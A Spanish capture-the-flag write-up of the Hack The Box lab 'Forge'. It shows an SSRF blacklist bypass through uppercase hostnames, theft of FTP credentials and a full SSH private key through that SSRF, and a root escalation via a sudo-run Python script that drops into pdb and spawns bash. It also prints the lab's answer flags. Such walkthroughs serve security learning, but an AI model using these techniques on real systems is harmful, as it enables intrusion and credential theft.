Forge
7 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.111
- Fecha: 11 / 09 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.111 -p21,22,80
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.24 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP). El puerto 21 (FTP) está filtrado.
Enumeración web
Si vamos a http://10.10.11.111
, la máquina contiene una página web que redirige a http://forge.htb
. Después de ponerlo en /etc/hosts
, vemos esta página:
La web nos permite subir imágenes al servidor como archivo o como URL:
Si ponemos una URL que apunte a nuestra máquina de atacante, nos llega una petición:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.111 - - [] "GET /Forge.png HTTP/1.1" 200 -
Y el servidor genera una URL aleatoria para servir nuestra imagen:
También es posible subir archivos que no sean imágenes. Por ejemplo, este documento HTML:
<!doctype html>
<html lang="en">
<head>
<title>Test</title>
<meta charset="uft-8">
</head>
<body>
<h1>Test</h1>
</body>
</html>
Aunque el navegador se quejará de que el archivo no es una imagen, utilizando curl
podemos ver el documento HTML subido:
$ curl http://forge.htb/uploads/lquBPTyay70DnGJwpCFG
<!doctype html>
<html lang="en">
<head>
<title>Test</title>
<meta charset="uft-8">
</head>
<body>
<h1>Test</h1>
</body>
</html>
Probando SSRF
Ahora, podemos probar algunos payloads para probar un Server-Side Request Forgery (SSRF), ya que parece vulnerable (de hecho, la máquina se llama “Forge”). Para automatizar el proceso, podemos utilizar este corto script en Python: ssrf.py
(explicación detallada aquí). Este script solamente pone la URL de la imagen y accede a la URL generada.
Si probamos algunas URL típicas, veremos que hay una lista negra:
$ python3 ssrf.py http://forge.htb
URL contains a blacklisted address!
$ python3 ssrf.py http://localhost
URL contains a blacklisted address!
$ python3 ssrf.py http://127.0.0.1
URL contains a blacklisted address!
Aunque esta lista negra se puede saltar poniendo http://10.10.11.111
o http://127.0.1.1
, no hay nada interesante que hacer.
Como curiosidad, el servidor Apache no incluye una barra al final al realizar la redirección, y sale este error:
$ python3 ssrf.py http://10.10.11.111/static
An error occured! Error : HTTPConnectionPool(host='forge.htbstatic', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f67f9ede100>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))
Utilizando curl
, podemos ver que el problema está en el proceso de redirección:
$ curl -I http://10.10.11.111/static
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.41 (Ubuntu)
Location: http://forge.htbstatic
Content-Type: text/html; charset=iso-8859-1
Esto se puede solucionar añadiendo :80
, de manera que se añada a http://forge.htb
:
$ curl -I 'http://10.10.11.111/:80/static'
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.41 (Ubuntu)
Location: http://forge.htb:80/static
Content-Type: text/html; charset=iso-8859-1
$ python3 ssrf.py http://10.10.11.111/:80/static
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /static</title>
</head>
<body>
<h1>Index of /static</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="css/">css/</a></td><td align="right">2021-05-27 04:00 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="images/">images/</a></td><td align="right">2021-05-31 10:31 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="js/">js/</a></td><td align="right">2021-05-27 06:39 </td><td align="right"> - </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.41 (Ubuntu) Server at forge.htb Port 80</address>
</body></html>
Como dijimos antes, no hay nada más que ver en http://forge.htb
. Podemos intentar acceder al servidor FTP, pero no está permitido:
$ python3 ssrf.py ftp://forge.htb
Invalid protocol! Supported protocols: http, https
Encontrando otro subdominio
Por tanto, tiene que haber otro subdominio. Podemos buscarlo con gobuster
:
$ gobuster vhost -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -r -q -u forge.htb
Found: admin.forge.htb (Status: 200) [Size: 27]
Después de ponerlo en /etc/hosts
, vemos que solo permite acceso desde localhost
:
$ curl http://admin.forge.htb/
Only localhost is allowed!
Por tanto, necesitamos utilizar SSRF para acceder a http://admin.forge.htb
, pero vemos que está en la lista negra:
$ python3 ssrf.py http://admin.forge.htb
URL contains a blacklisted address!
Aunque no esté permitida, parece que la validación no es muy exhaustiva, ya que no comprueba letras mayúsculas:
$ python3 ssrf.py http://ADMIN.FORGE.HTB
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
De esta forma, podemos ver el contenido del subdominio interno admin.forge.htb
. Vemos que hay una ruta llamada /announcments
:
$ python3 ssrf.py http://ADMIN.FORGE.HTB/announcements
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
Acceso a la máquina
Ahora tenemos otra manera de realizar SSRF, pero desde http://admin.forge.htb
y teniendo FTP habilitado (con credenciales user:heightofsecurity123!
):
$ python3 ssrf.py 'http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/'
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Sep 12 13:01 user.txt
$ python3 ssrf.py 'http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/user.txt'
65d1bd86e04e41ae808a7965ff6e07c5
Ahora podemos comprobar si la contraseña se reutiliza para el servicio SSH
$ ssh user@forge.htb
user@forge.htb: Permission denied (publickey).
Pero no, necesitamos una clave privada para acceder por SSH.
El servidor FTP parece que está apuntando al directorio personal de user
(ya que pudimos ver la flag user.txt
). Por tanto, podemos intentar acceder a ~/.ssh/id_rsa
:
$ python3 ssrf.py 'http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa' | tee id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
Escalada de privilegios con sudo
Y ahora tenemos acceso a la máquina. Este usuario puede ejecutar un script en Python como usuario root
:
$ chmod 600 id_rsa
$ ssh -i id_rsa user@forge.htb
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
El script abre un socket para permitir a ciertos usuarios ejecutar comandos a nivel de sistema:
user@forge:~$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
Los comandos no son vulnerables. Sin embargo, la vulnerabilidad está en el uso de pdb
si se lanza una excepción. Una vez que tengamos acceso a la interfaz de pdb
, podremos ejecutar una sesión de Python interactiva (REPL) como root
(ya que el script se ejecuta con sudo
):
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:1423
En primer lugar, hay que poner la contraseña, la cual está escrita en texto claro en el código (secretadminpassword
). Para activar pdb
podemos introducir una letra en vez de un número (lo que causará una excepción ValueError
):
user@forge:~$ telnet localhost 1423
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
x
Y después tendremos la interfaz de pdb
:
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:1423
invalid literal for int() with base 10: b'x'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) ?
Documented commands (type help <topic>):
========================================
EOF c d h list q rv undisplay
a cl debug help ll quit s unt
alias clear disable ignore longlist r source until
args commands display interact n restart step up
b condition down j next return tbreak w
break cont enable jump p retval u whatis
bt continue exit l pp run unalias where
Miscellaneous help topics:
==========================
exec pdb
Si escribimos interact
, accederemos al REPL de Python, y aquí podremos conseguir una consola de comandos:
(Pdb) interact
*interactive*
>>> import pty
>>> pty.spawn('/bin/bash')
Finalmente, tenemos acceso como root
y podemos leer la flag root.txt
:
root@forge:/home/user# cat /root/root.txt
3f3744e3624782a0fd2504a47923c347